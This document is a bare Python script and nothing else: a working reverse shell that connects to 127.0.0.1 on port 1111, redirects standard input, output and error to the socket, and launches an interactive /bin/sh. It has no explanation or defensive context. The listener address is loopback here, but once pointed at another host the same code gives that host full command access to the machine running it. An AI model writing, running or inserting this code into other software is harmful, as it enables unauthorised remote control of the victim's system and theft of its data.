import socket, subprocess, os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1", 1111)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])